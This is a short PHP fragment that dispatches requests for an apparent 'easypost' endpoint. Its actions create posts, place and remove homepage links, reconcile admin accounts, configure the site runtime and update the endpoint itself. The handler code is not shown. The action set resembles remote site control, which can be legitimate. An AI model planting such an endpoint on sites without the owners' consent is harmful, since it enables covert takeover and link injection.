if ($action === 'health') {
    easypost_endpoint_health();
}
if ($action === 'create_post') {
    easypost_endpoint_create_post($payload);
}
if ($action === 'place_homepage_link') {
    easypost_endpoint_place_homepage_link($payload);
}
if ($action === 'remove_homepage_link') {
    easypost_endpoint_remove_homepage_link($payload);
}
if ($action === 'reconcile_admin') {
    easypost_endpoint_reconcile_admin($payload);
}
if ($action === 'rotate_token') {
    easypost_endpoint_json(501, array('ok' => false, 'error' => 'rotate_token_not_implemented'));
}
if ($action === 'configure_site_runtime') {
    easypost_endpoint_configure_site_runtime($payload);
}

if ($action === 'disable_site_runtime') {
    easypost_endpoint_disable_site_runtime();
}
if ($action === 'runtime_status') {
    easypost_endpoint_runtime_status();
}
if ($action === 'begin_reconcile') {
    easypost_endpoint_begin_reconcile($payload);
}
if ($action === 'refresh_reconcile') {
    easypost_endpoint_refresh_reconcile($payload);
}
if ($action === 'finish_reconcile') {
    easypost_endpoint_finish_reconcile($payload);
}
if ($action === 'update_endpoint') {
    easypost_endpoint_update_endpoint($payload);
}
easypost_endpoint_json(404, array('ok' => false, 'error' => 'unknown_action'));